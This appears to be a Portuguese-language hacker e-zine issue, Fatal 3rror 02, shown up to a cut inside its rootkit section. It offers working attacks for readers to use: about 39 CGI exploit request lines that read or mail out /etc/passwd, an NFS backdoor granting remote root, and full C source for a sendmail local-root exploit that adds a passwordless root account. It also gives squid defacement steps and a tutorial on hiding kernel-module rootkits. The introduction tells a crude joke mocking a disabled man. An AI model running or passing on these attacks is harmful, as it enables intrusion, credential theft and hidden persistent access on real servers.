       ________________________     _______________________________
      /  __________  _______  /    /_____   _____by_Cheat_Struck__/
     /  /__ ___   / /___   / /       ___/  /___   ___   __   ___
    /  ___// o \ / // o \ / /       /__   // o \ / o \ /  \ / o \
   /  /   / _  // // _  // /___  _____/  // _  // _  // O // _  /
  /__/   / //_// // //_//_____/ /_______// / \_\ / \_\\__// / \_\
         )/    )/ )/                     )/    )/         )/
         '     '  '                      '     '          '

                 Yeah. I like do that...

                 Fatal 3rror
                 Edition.......02
                 Date..........1/8/0
                 By............Cheat Struck
                 Email.........cszine@xoommail.com
                 Page..........http://struck.8m.com/f3





        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~        00 - T0PiCZ         ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat  Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~



 .od[ 00 ]bo.    T0PiCZ (u read me)            / Cheat Struck
 .od[ 01 ]bo.    Introduction                  / Cheat Struck
 .od[ 02 ]bo.    TiPZ                          / Cheat Struck
 .od[ 03 ]bo.    CGIS                          / Cheat Struck
 .od[ 04 ]bo.    NFS Backd00r                  / Cheat Struck
 .od[ 05 ]bo.    Sendmail Bug                  / s0laris
 .od[ 06 ]bo.    Racking Squid                 / Cheat Struck
 .od[ 07 ]bo.    LKM Tips & Tricks             / pcHazard
 .od[ 08 ]bo.    PING backd00r                 / pcHazard
 .od[ 09 ]bo.    Bind Scan                     / Cheat Struck
 .od[ 10 ]bo.    System Bugs                   / Cheat Struck
 .od[ 11 ]bo.    vulnerabilidade do lilo.conf  / kamikase shell
 .od[ 12 ]bo.    hardroot                      / kamikase shell
 .od[ 13 ]bo.    PEQUENO MANUAL PARA OS HOMENS NA BALADA
                                               / humortadela
 .od[ 14 ]bo.    Achando rastros de um ataque  / Cheat Struck
 .od[ 15 ]bo.    Fraudando Orelhoes a cartao   / TPGA
 .od[ 16 ]bo.    Attrition Scan                / Cheat Struck
 .od[ 17 ]bo.    Sniffing Simples              / Cheat Struck
 .od[ 18 ]bo.    Mais 1 programa l33t          / Anonymous
 .od[ 19 ]bo.    Emails                        / Cheat Struck
 .od[ 20 ]bo.    Th3 3nd                       / Cheat Struck






        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~     01 - Introduction      ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat  Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


   Eu estou tao certo q ninguem vai ler isto (exeto talvez por amigos e
conhecidos q esperem q eu fale sobre eles) q no lugar de perder meu tempo
escrevendo como a zine ta boa, vou simplesmente contar uma piada.

   Era uma vez uma mulher. Ela ja havia se casado 3 vezes porem nenhum dos
casamentos deu certo. No 1o o marido batia muito nela; no 2o o marido fugiu
e a deixou com todas as dividas pra pagar; e no 3o o kra nao era bom de
cama. Cansada de procurar um 4o casamento, ela colocou um anuncio no jornal
contando sua historia e o problema dos 3 maridos.
   No dia seguinte bate na campainha de sua casa um alejadinho. A mulher 
indignada perguntou:
   - Mas eu acho q voce nao entendeu direito... Voce leu todo o anuncio? 
   E o alejadinho respondeu:
   - Claro! Eu sou o homem perfeito pra voce. Nao posso te bater pois nao
tenho bracos. Nao posso fugir pq nao tenho pernas. 
   - E como eu vou saber se voce eh bom de cama?
   - Com o que voce acha q eu toquei a campainha??

   Huahauhauhauhauha!!!!! Acho q da pra encerrar a introducao aki neh??










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~         02 - TiPZ          ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat  Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~



  Autores dessa edicao:
  ---------------------

Cheat Struck   <cszine@xoommail.com>
Kamikase Shell <kamikaseshell@bahia.net>
pcHazard       <pchazard@ig.com.br>
s0laris        <>
TPGA           <tpga@bol.com.br>





  Onde baixar a Fatal 3rror???
  ----------------------------

ttp://members.xoom.com/cszine/f3
http://struck.8m.com/f3





  Extraindo a f3 e seus programas:
  --------------------------------

[root@localhost ~]# tar -zxvf f3-02.tgz
f3/
f3/f3-02.txt
f3/extract.c
f3/pingback.tar.gz
f3/lkm.tar.gz
[root@localhost ~]# cd f3
[root@localhost f3]# gcc extract.c -o extract
[root@localhost f3]# ./extract f3-01.txt
- Extracting sendmail/ex.c
- Extracting sendmail/add.c
- Extracting sendmail/mail
- Extracting sendmail/.forward
- Extracting bindscan/bhs.c
- Extracting bindscan/bscan21.c
- Extracting systembug/vul1.c
- Extracting systembug/vul2.c
- Extracting systembug/vul3.c
- Extracting systembug/cardctl-ex.sh
- Extracting attr/at-scan.pl
- Extracting sniff/sniff.c
- Extracting Superprogs/magico.c
[root@localhost f3]#









        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~         03 - CGIS          ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat  Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~



   Notei que a ultima small-list de cgis q eu compilei (publicada na tdk)
fez um sucesso inesperado sendo copiada em diversos lugares... Agora dou
a voces uma verdadeira lista com quase 40 cgis e seus respectivos
xploits-lines.
   Alguns cgis (tipo count), que precisam de programas para fazer o xploit
remoto, nao foram colocados na lista para poupar espaco.
   Aproveitem, mas c forem copiar esta lista ou qquer coisa da zine por
favor coloquem o respectivo autor.


**************************
*01 PHF
    Executa comandos remotos.
GET /cgi-bin/phf?Qalias=x%0acat%20/etc/passwd

**************************
*02 CAMPAS
    Executa comandos remotos.
GET /cgi-bin/campas?%0acat%0a/etc/passwd%0a

**************************
*03 INFO2WWW
    Executa comandos remotos.
GET /cgi-bin/info2www '(../../../../../../../bin/mail jami </etc/passwd|)'

**************************
*04 FAXSURVEY
    Executa comandos remotos.
GET /cgi-bin/faxsurvey?/bin/cat%20/etc/passwd

**************************
*05 WHOIS_RAW.CGI
    Executa comandos remotos.
GET /cgi-bin/whois_raw.cgi?fqdn=%0Acat%20/etc/passwd

**************************
*06 WEBDIST.CGI
    Executa comandos remotos.
GET /cgi-bin/webdist.cgi?distloc=;cat%20/etc/passwd

**************************
*07 QUERY
    Executa comandos remotos.
GET /cgi-bin/query?%0a/bin/cat%20/etc/passwd

**************************
*08 ECHO
    Executa comandos remotos.
GET /cgi-bin/echo?%0Acat%20/etc/passwd

**************************
*09 HANDLER
    Executa comandos remotos.
GET /cgi-bin/handler/useless_shit;cat   /etc/passwd|?data=Download

**************************
*10 UPLOADER.EXE
    Executa comandos remotos.
(from RWX)
Eh muito simples...
Primeiro vc cria um CGI-Script malefico, que execute algo do tipo: 
"net user Administrator rwxr0x /y" isso.. ia mudar a senha do Administrator
pra 'rwxr0x'.. bem o que o script faz fica a seu criterio, depois, mande um
QUERY pra 'http://www.victim.org/cgi-win/uploader.exe', onde vc encontrara'
os Forms do UPLOADER, mande o CGI-Script e depois va com seu browser para o
diretorio indicado pelo proprio UPLOADER apos o envio do arquivo.
Vualah...vc muda a senha do root!:) 

**************************
*11 WIN-C-SAMPLE.EXE
    Executa comandos remotos.
GET /cgi-shl/win-c-sample.exe?+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+-+
-+-+-+-+-+-+-+-+-+h^X%FF%E6%FF%D4%83%C6Lj%01V%8A%06%FF%E6%FF%D4%83%C6Lj%01V
%8A%FF%E6%FF%D4%83%C6Lj%01V%8A%FF%E6%FF%D4%83%C6Lj%01V%8A%FF%E6%FF%D4%83%C6
Lj%01V%8Adeltree_/y_c:

**************************
*12 BIZDB1-SEARCH.CGI
    Executa comandos remotos.
GET /cgi-bin/bizdb1-search.cgi?template=bizdb-summary&dbname=;ls|mail%20
attacker@attacker-host|&f6=^a.*&action=searchdbdisplay
HTTP/1.0
Host: target
Referer: http://target/cgi-bin/bizdb1-search.cgi?bizdb-search

**************************
*13 EXCITE
    Executa comandos remotes.
GET /cgi-bin/excite;IFS="$";/bin/cat /etc/passwd|mail your_email_here;

**************************
*14 VIEW-SOURCE
    Ver conteudo de arquivos.
GET /cgi-bin/view-source?../../../../../../../etc/passwd

**************************
*15 PFDISPALY.CGI
    Ver conteudo de arquivos.
GET /cgi-bin/pfdispaly.cgi?/../../../../etc/passwd

**************************
*16 PHP.CGI
    Ver conteudo de arquivos.
GET /cgi-bin/php.cgi?/etc/passwd

**************************
*17 HTMLSCRIPT
    Ver conteudo de arquivos.
GET /cgi-bin/htmlscript?../../../../etc/passwd 

**************************
*18 CARBO.DLL
    Ver conteudo de arquivos.
GET /carbo.dll?icatcommand=..\..\winnt\win.ini&catalogname=catalog

**************************
*19 CONVERT.BAS
    Ver conteudo de arquivos.
GET /scripts/convert.bas?../../etc/passwd

**************************
*20 HTSEARCH
    Ver conteudo de arquivos.
GET /cgi-bin/htsearch?exclude=%60/etc/passwd%60

**************************
*21 SEARCH97.VTS
    Ver conteudo de arquivos.
GET /search97.vts	  
?HLNavigate=On&querytext=dcm
&ServerKey=Primary	  
&ResultTemplate=../../../../../../../etc/passwd
&ResultStyle=simple	  
&ResultCount=20	  
&collection=books

**************************
*22 WEBPLUS
    Ver conteudo de arquivos.
GET /cgi-bin/webplus?script=/../../../../etc/passwd

**************************
*23 SHOWCODE.ASP
    Ver conteudo de arquivos.
GET /msadc/Samples/SELECTOR/showcode.asp?source=/msadc/Samples/../../../../../boot.ini

**************************
*24 WEBSENDMAIL
    Envia arquivos para seu email.
POST /cgi-bin/websendmail HTTP/1.0
Content-length: 90
         (Mude pelo tamanho da string q sera enviada.)
receiver=;mail+your_address\@somewhere.org</etc/passwd;&sender=a&rtnaddr=a&subject=a&content=a

**************************
*25 WEBGAIS
    Envia arquivos para seu email.
POST /cgi-bin/webgais HTTP/1.0
Content-length: 85 
         (Mude pelo tamanho da string q sera enviada.)
query=';mail+drazvan\@pop3.kappa.ro</etc/passwd;echo'&output=subject&domain=paragraph

**************************
*26 WWW-SQL
    Ver arquivos com restricted access.
GET /cgi-bin/www-sql/protected/something.html

**************************
*27 W3-MSQL
    Ver arquivos com restricted access.
GET /cgi-bin/w3-msql/protected-directory/.htpasswd

**************************
*28 SERVICE.PWD
    Ver conteudo do arquivo de senhas.
GET /_vti_pvt/service.pwd

**************************
*29 GWWEB.EXE
    Ler qualquer arquivo .htm no server
GET /cgi-bin/GW5/GWWEB.EXE?HELP=../../../secret.htm

**************************
*30 NEWDSN.EXE
    Cria arquivos de 0 bytes em qquer diretorio.
(Issu cria /wwwroot/evil.html)
GET /scripts/tools/newdsn.exe?driver=Microsoft%2BAccess%2BDriver%2B%28*.mdb
%29&dsn=Evil+samples+from+microsoft&dbq=..%2F..%2Fwwwroot%2Fevil.html&newdb
=CREATE_DB&attr=

**************************
*31 NPH-TEST-CGI
    Ver conteudo de diretorios.
GET /cgi-bin/nph-test-cgi?*

**************************
*32 TEST-CGI
    Ver conteudo de diretorios.
GET /cgi-bin/test-cgi?/*

**************************
*33 WRAP
    Ver conteudo de diretorios.
GET /cgi-bin/wrap?/../../../../../etc

**************************
*34 SEARCH.CGI
    Ver conteudo de diretorios.
GET /cgi-bin/search.cgi?letter=..\..\..\..\winnt

**************************
*35 WGUEST.EXE
    Ver conteudo de diretorios.
GET /cgi-bin/wguest.exe?template=c:\boot

**************************
*36 VISADMIN.EXE
    Hdd full!!
GET /cgi-bin/visadmin.exe?user=guest

**************************
*37 HTIMAGE
    Retorna o PATH dos htmls.
GET /cgi-bin/htimage.exe?2.2 

**************************
*38 FINGER
    Infos sobre o sistema.
GET /cgi-bin/finger?@localhost

**************************
*39 AGLIMPSE
    ???
GET /cgi-bin/aglimpse/80|IFS=5;CMD=5mail5your_address\@your_computer.com\










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~      04 - NFS Backd00r     ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat  Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


   tipo... vai em /etc/exports e coloque a linha:

/ *(rw,map_static=/etc/nfs.map)

   Agora edite o /etc/nfs.map:

uid  <seu_uid>    0
gid  <seu_gid>    0

   Substitua <seu_uid>, <seu_gid> pelos seus respectivos ids.
   Agora resete o mountd:

~# killall -1 rfc.mountd

   E prontu....

~# showmount -e host.backdado
Export list for host.backdado:
/ *
~# mount -t nfs host.backdado:/ /nfs
~# cd /nfs
~# 

   Agora c tem root remotly....
   RLZ!!!











        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~      05 - Sendmail Bug     ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_           s0laris          _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~



A t3kn33k que eu vou explicar aqui pode ser aplicada em qualquer maquina linux 
que esteja usando o kernel 2.2.15, OU MAIS ANTIGO e esteja rodando o sendmail, 
nas versoes INFERIORES a 8.10.2. Hummm... se voce fizer uma pesquisa, vai
descobrir que mais 90% das maquinas linux, rodando como servidores estao dentro 
desse perfil. Nota: o kernel 2.2.16 esta patcheado, porem no 2.4.0 (o mais novo,
ainda instavel) o bug nao foi corrigido.  

Bom, para ter sucesso basta ter uma conta no sistema. Portanto nao se pode obter
permissoes de r00t remotamente usando esta tecnica. 

Vamos ao que interessa. Envie por ftp os arquivos:

<++> sendmail/ex.c
#include <linux/capability.h>

int main (void) {
   cap_user_header_t header;
   cap_user_data_t data;

   header = malloc(8);
   data = malloc(12);

   header->pid = 0;
   header->version = _LINUX_CAPABILITY_VERSION;

   data->inheritable = data->effective = data->permitted = 0;
   capset(header, data);

   execlp("/usr/sbin/sendmail", "sendmail", "-t", NULL);
}
<-->
<++> sendmail/add.c
#include <fcntl.h>

int main (void) {
   int fd;
   char string[40];

   seteuid(0);
   fd = open("/etc/passwd", O_APPEND|O_WRONLY);
   strcpy(string, "yomama:x:0:0::/root:/bin/sh\n");
   write(fd, string, strlen(string));
   close(fd);
   fd = open("/etc/shadow", O_APPEND|O_WRONLY);
   strcpy(string, "yomama::11029:0:99999:7:::");
   write(fd, string, strlen(string));
   close(fd);

}
<-->
<++> sendmail/mail
From: yomama@foobar.com
To: localuser@localdomain.com
Subject: foo
bar
.
<-->
<++> sendmail/.forward
|./add
<-->

Detalhe: esses arquivos devem ficar no diretorio do usuario. 
Pronto, depois dos arquivo enviados, logue no sistema e compile o ex.c e o 
add.c. 

# gcc -o add add.c
# gcc -o ex ex.c

Agora faca o seguinte:

# ./ex < mail
# su yomama

Voce r00teou a maquina!!

Agora vou explicar por alto o q o exploit faz. Ele explora um bug do kernel e 
faz com que o daemon sendmail (q eh executado pelo root), atraves de um envio 
de e-mail, insira uma linha no /etc/passwd e /etc/shadow da maquina, criando 
assim um usuario, q sera chamado no caso de yomama. Basta dar uma lida nos
fontes dos explois que vc vera rapidinho como ele funciona.

                                                                 s0laris










        _xXXXP^''                    ``^YXXXx_
     _xXXXXP~     06 - Racking Squid     ~YXXXXx_
  _xXXXXXX(                                )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                                )XXXXXXP~
     ~YXXXXb_        Cheat  Struck       _dXXXXP~
        ~YXXXbx..                    ..xdXXXP~


   Squid e' um proxy para web que suporta FTP, gopher e HTTP.
   Vamos dar uma olhada nas permissoes do /etc/squid...

[root@localhost squid]# ls -la
total 167
drwxr-xr-x   4 nobody   nobody       1024 abr 14 05:49 .
drwxr-xr-x  35 root     root         3072 jun  7 02:09 ..
drwxr-xr-x   2 nobody   nobody       1024 abr 14 05:49 errors
drwxr-xr-x   2 nobody   nobody       1024 abr 14 05:49 icons
-rw-r--r--   1 nobody   nobody      24135 dez 14  1998 mib.txt
-rw-r--r--   1 nobody   nobody       6820 dez 14  1998 mime.conf
-rw-r--r--   1 nobody   nobody       6820 dez 14  1998 mime.conf.default
-rw-r--r--   1 nobody   nobody      60878 dez 14  1998 squid.conf
-rw-r--r--   1 nobody   nobody      60878 dez 14  1998 squid.conf.default

   Entao basta ter acesso nobody para que possamos configurar o squid.
   Como conseguimos acesso nobody?? 
   Xploitando os famosos cgis... C voce conseguir executar um comando
remotly atraves de cgis do tipo phf, campas ou faxsurvey, crie uma
suidshell. Depois loge-se e execute a suidshell. Pronto! Vc eh nobody. Ou
seja ninguem!!!!
   Mas esse "ninguem" pode mudar os files de configuracao do squid.
   Vamos dar uma olhada em algo bem maneiro que podemos fazer... veja os
arquivos em /etc/squid/errors. Lah estao os htmls de todas as mensagens de
erros do squid.
   Um exemplo:
   Edite o arquivo /etc/squid/errors/ERR_INVALID_URL.
   Mude tudo... coloque a msg q voce quizer... tipo "Voce errou o url seu
otario. Escreve direito ou eu vou explodir seu hd".
   Agora restarte o squid. Sim, o user nobody pode fazer issu tambem.
   And its done!
   Soh pra lembrar... a porta padrao do squid eh 3128.











        _xXXXP^''                   ``^YXXXx_
     _xXXXXP~  07 - LKM Tips & Tricks   ~YXXXXx_
  _xXXXXXX(                               )XXXXXXx_
xXXXXXXXXXXbxxxxxxxxxxxxxxxxxxxxxxxxxxxxxdXXXXXXXXXXx
YXXXXXXXXXXP^^^^^^^^^^^^^^^^^^^^^^^^^^^^^YXXXXXXXXXXP
  ~YXXXXXX(                               )XXXXXXP~
     ~YXXXXb_          pcHazard         _dXXXXP~
        ~YXXXbx..                   ..xdXXXP~



  Primeiro, gostaria de parabenizar essa zine por ser um dos zines brasileiros
sobre seguranca que, apesar de ser relativamente nova possui um grande nivel
de informacao, e eu particulamente gostei dela porque nao fica "enchendo
linguica" com aquelas *coisinhas* que vc aprende lendo, por exemplo, uma
pagina de manual do MAN ou qq outra coisa obvia e que qualquer um sabe...
Essa e' a primeira vez que escrevo para uma zine e espero escrever muito
mais... Issue que vem, quem sabe.

    Eu tenho uma teoria a respeito de zines: seria melhor se, ao inves das
pessoas fazerem seus proprios zines ( por exemplo, 100 zines diferentes com
umas 5 materias cada e uma tiragem de 2 issues :-O ), podia haver apenas um
zine e as pessoas escreveriam suas materias e a enviariam para esse unico
zine que, dentro de pouco tempo se tornaria uma verdadeira "knowledge base"
sobre seguranca etc...

      Mas isso e' so' uma teoria. Agora, vamos deixar de papo e ir ao que
realmente interessa no momento...

   Ao ler essa secao, considere que tudo aqui foi "testado e aprovado" na
minha maquina Linux ( Slack 7 c/ kernel 2.2.13 ), e que caso as coisas citadas
aqui nao funcione na sua maquina, tente atualizar seu Linux em geral para uma
versao mais nova, pois so os kernels da serie 2.1.x em diante se nao me engano
possuem suporte a LKM ( ha' tambem algums modulos para 2.0.x mas que
sao diferentes dos novos como, por exemplo, no tratamento de informacoes como
IRQ etc. de uma certa placa especificados como parametro no momento da
instalacao do modulo no kernel ), e por isso os programas que acompanham a
zine nao funcionariam.

                               .--------------.
                  .-----------'    LKM Tips    `-------------.
                 |                                            |
                 | Introducao, Conceitos basicos e principais |
                 |          funcoes de gerenciamento          |
                 `--------------------------------------------'

                        ------------------------------
                       | LKM = Loadable Kernel Module |
                        ------------------------------

   Essa maravilha foi criada com o intuito de facilitar o suporte a outros
hardwares etc. sem a necessidade de se adicionar um codigo fonte ao kernel do
linux e ter que recompilar o kernel... Por exemplo, se voce possui seu som
configurado corretamente no linux, e' provavel que esteja usando modulos como,
por exemplo, mpu401.o etc.

   Os LKMs sao feitos em C (nao conheco outra linguagem que gere LKMs) e sua
funcao principal e' definida como init_module() e nao main() como se costuma
usar em programas comuns. A funcao cleanup_module() e' chamada quando se
desinstala o modulo do kernel. Devido ao fato de LKMs trabalham a nivel de
kernel (equivalente aos .VXD do Windows), interagindo diretamente com ele,
eles so podem ser manuseados pelo Administrador do Sistema, ou qualquer um
que consiga nivel de root em algum host ( a parte mais interessante... )

   Para permitir uma maior flexibilidade e compatibilidade com diversas
configuracoes, os modulos tambem podem receber instrucoes sobre enderecamento,
IRQ etc. de certas placas na hora em que sao instalados no kernel. Note isso
no arquivo /etc/conf.modules, que chama o modulo /lib/modules/2.2.13/misc/
mpu401.o usando o endereco 0x330 p/ entrada e saida da placa de som e usa o
irq=11 ( no meu caso eu uso a placa de som CMI8330 onboard ) e o modulo
/lib/modules/2.2.13/misc/sb.o usando o endereco 0x220 p/ IO, irq 5, dma=1 e
dma16 = 5, configuracoes estas que devem ser definidas corretamente para que
tudo funcione normalmente.
   No meu caso, eu olhei os enderecamentos e IRQs na configuracao do Win95
( enfim, util para alguma coisa...) e com o programa CMIUTIL.EXE que vem no
CD da placa mae. Ha' casos tambem em que pode-se usar LKMs para configurar
alguns dos temidos WinModems.



   Para ajudar a entender isso, veja alguns comandos relacionados a modulos
   no kernel:


   LSMOD        Lista os modulos abertos no kernel.
                Esta lista e' um "cat" do arquivo /proc/modules


   localhost:/home/pchazard# lsmod
   Module                  Size  Used by
   mpu401                 18640   0  (unused)
   sb                     33236   0  (unused)
   uart401                 5872   0  [sb]
   sound                  57176   0  [mpu401 sb uart401]
   soundlow                 224   0  [sound]
   soundcore               2116   6  [sb sound]
   iBCS                  135456   0
   pcmcia_core            39080   0
   bsd_comp                3568   0  (unused)
   ppp                    20428   0  [bsd_comp]
   slip                    7188   0  (unused)            <-- note esse aqui
   slhc                    4300   0  [ppp]
   lp                      5660   0  (unused)
   parport_pc              5588   1
   parport                 6724   1  [lp parport_pc]


   localhost:/home/pchazard# cat /proc/modules
   mpu401                 18640   0 (unused)
   sb                     33236   0 (unused)
   uart401                 5872   0 [sb]
   sound                  57176   0 [mpu401 sb uart401]
   soundlow                 224   0 [sound]
   soundcore               2116   6 [sb sound]
   iBCS                  135456   0
   pcmcia_core            39080   0
   bsd_comp                3568   0 (unused)
   ppp                    20428   0 [bsd_comp]
   slip                    7188   0 (unused)
   slhc                    4300   0 [ppp]
   lp                      5660   0 (unused)
   parport_pc              5588   1
   parport                 6724   1 [lp parport_pc]

   localhost:/home/pchazard# cat /etc/conf.modules
   alias sound sb
   alias midi mpu401
   options mpu401 io=0x330 irq=11
   options sb io=0x220 irq=5 dma=1 dma16=5


   RMMOD        Remove algum modulo do kernel


   localhost:/home/pchazard# rmmod slip
   localhost:/home/pchazard# lsmod
   Module                  Size  Used by
   mpu401                 18640   0  (unused)
   sb                     33236   0  (unused)
   uart401                 5872   0  [sb]
   sound                  57176   0  [mpu401 sb uart401]
   soundlow                 224   0  [sound]
   soundcore               2116   6  [sb sound]
   iBCS                  135456   0
   pcmcia_core            39080   0
   bsd_comp                3568   0  (unused)
   ppp                    20428   0  [bsd_comp]
   slhc                    4300   0  [ppp]
   lp                      5660   0  (unused)
   parport_pc              5588   1
   parport                 6724   1  [lp parport_pc]


   INSMOD       Insere um modulo no kernel
                Repare que os modulos, a medida que vao sendo inseridos no
                kernel vao ficando no topo da lista. Notar isso vai ser
                importante para entender como nos podemos tirar proveito dos
                LKMs aonde nos seriam ainda mais uteis... E sem serem detec-
                tados !!!


   localhost:/home/pchazard# insmod mymodule.o
   localhost:/home/pchazard# lsmod
   Module                  Size  Used by
   mymodule               15216   0  (unused)     <-- olha ele aqui
   mpu401                 18640   0  (unused)
   sb                     33236   0  (unused)
   uart401                 5872   0  [sb]
   sound                  57176   0  [mpu401 sb uart401]
   soundlow                 224   0  [sound]
   soundcore               2116   6  [sb sound]
   iBCS                  135456   0
   pcmcia_core            39080   0
   bsd_comp                3568   0  (unused)
   ppp                    20428   0  [bsd_comp]
   slhc                    4300   0  [ppp]
   lp                      5660   0  (unused)
   parport_pc              5588   1
   parport                 6724   1  [lp parport_pc]



   DEPMOD       Ele "escaneia" os modulos guardados no diretorio padrao para
                modulos ( no caso, /lib/modules/2.2.13/ ) e cria uma lista de
                simbolos encontrados nesses modulos que chamaremos de
                "Lista de Dependencias" que e' salva no arquivo
                /lib/modules/2.2.13/modules.dep.
                Essa lista e' posteriormente usada pelo comando MODPROBE que
                veremos mais adiante. Um exemplo do uso dos comandos depmod e
                modprobe esta' no arquivo /etc/rc.d/rc.modules. Esses dois
                comandos usam tambem o arquivo /etc/conf.modules como base da
                lista de modulos a serem usados pelo sistema.


   MODPROBE     Ele usa a Lista de Dependencias para localizar e abrir
                automaticamente os modulos que o sistema ou o usuario precisara
                usar junto com o kernel. Ele e' executado na hora em que o
                Linux e' carregado pelo script /etc/rc.d/rc.modules.



        Mais exemplos do uso desses comandos podem ser encontrados nas
                 paginas MAN do linux e no Mini-Howto Modules


                               .--------------.
             .----------------'   LKM Tricks   `-------------------.
            |   Ou voce achou que algo tao legal como os LKMs so'   |
            |     serviriam para configurar sua placa de som ?      |
            `-------------------------------------------------------'


   E' como se diz hoje em dia: qualquer coisa pode ser usada tanto para o bem
como para o "mal". E porque que com os LKMs seria diferente?

   Por atuar em conjunto com o kernel, ha' varias coisas curiosas que podem
ser feitas usando os recursos dos LKMs. Na internet ha' varios exemplos de
LKMs para download em que se usa funcoes como capacidade de esconder arquivos
e processos de listagens ( nada dos antigos ls.c e ps.c que se encontram
naqueles rootkits... ), redirecionameto de executaveis, esconder algumas
portas da listagem do NETSTAT, executar comandos como r00t local e remotamente
e ate' sniffers...

   Mas, como tudo que e' bom tem seus "porems"...

   Devido ao fato dos LKMs trabalharem em conjunto com o kernel, e' necessario
que eles sejam bem escritos, ou poderao aparecer erros inesperados (e fatais)
    Aconteceu comigo mesmo, depois de dar um "shutdown -r now" com o modulo
knark aberto o kernel entrou em pane antes de rebootar a maquina, mas isso so'
aconteceu uma vez. Logo, deixo bem claro que nao me responsabilizo por
eventuais danos que os modulos venham a causar ( apesar de ser dificil eles
causarem um dano como danificar o sistema de arquivos etc,mesmo sendo fechados
"na tora" ) e, por isso, se voce sabe o que e' bom pra voce, evite testar
modulos pela primeira vez em alguma maquina que esteja sendo usada como
servidor de rede etc. porque ela pode travar etc. Mas, quanto aos modulos
abaixo, eu garanto que vale a pena dar uma olhada neles,e depois que estiverem
seguros do seu bom funcionamento, voce pode usa-los como parte de seu rootkit
pessoal etc. Enfim, como voce bem entender e como for mais util a voce.

   Pra galera que ta comecando agora e ja ta ficando com agua na boca, eu nao
podia deixar de disponibilizar pro pessoal alguns LKMs que eu achei por ai'
na net...

   Os exemplos de LKMs estao no arquivo lkm.tar.gz que acompanha a zine.
   Para descompactar:

   localhost:/root/zines/f3# gzip -d lkm.tar.gz
   localhost:/root/zines/f3# tar xvf lkm.tar
   lkm/heroin.c
   lkm/knark-0_59.tar
   lkm/krnsniff.c
   lkm/linspy.tar
   lkm/adore14.tar
   localhost:/root/zines/f3# cd lkm
   localhost:/root/zines/f3# tar xvf knark-0_59.tar
   knark-0.59/
   knark-0.59/README
   knark-0.59/Makefile
   knark-0.59/src/
   knark-0.59/src/ered.c
   knark-0.59/src/hidef.c
   knark-0.59/src/knark.c
   knark-0.59/src/modhide.c
   knark-0.59/src/rootme.c
   knark-0.59/src/taskhack.c
   knark-0.59/src/knark.h
   knark-0.59/src/rexec.c
   knark-0.59/src/nethide.c
   knark-0.59/src/author_banner.c
   localhost:/root/zines/f3# cd knark-0.59
   localhost:/root/zines/f3/lkm/knark-0.59# make

   ...


 .------------.
 |   heroin    `--------------------------------------------------.
 `=================-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

  Escrito por Runar Jensen <zarq@opaque.org>
  Eu nao consegui compilar ele na minha maquina,
  mas decidi mandar ele tambe'm, afinal se ja' funcionou
  na maquina de alguem, pode funcionar na sua tb...


 .------------.
 |   linspy    `--------------------------------------------------.
 `=================-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

  Esse veio com a phrack 50...
  E' um modulo para permitir interagir com outros
  TTYs. Nao compilou na minha maquina.

 .------------.
 |    adore    `--------------------------------------------------.
 `=================-=-====--==-=-=-===----==---=-=---=-=--- -- -  -

  Esse e' um dos novos, chama a atencao pela capacidade
  de esconder uma determinada porta definida no Makefile do
  netstat... Ele e' o mais novo que conheco. E' pequeno e suas
  funcoes sao chamadas por apenas um prograva (ava.c). Possui uma
  maneira mais inteligente de se auto-remover da lista de modulos.
  Ao contrario do knark que se usa o modhide.o, o adore ja' possui
  uma funcao que tira seu nome da lista de modulos.

 .------------.
 |  krnsniff   `--------------------------------------------------.
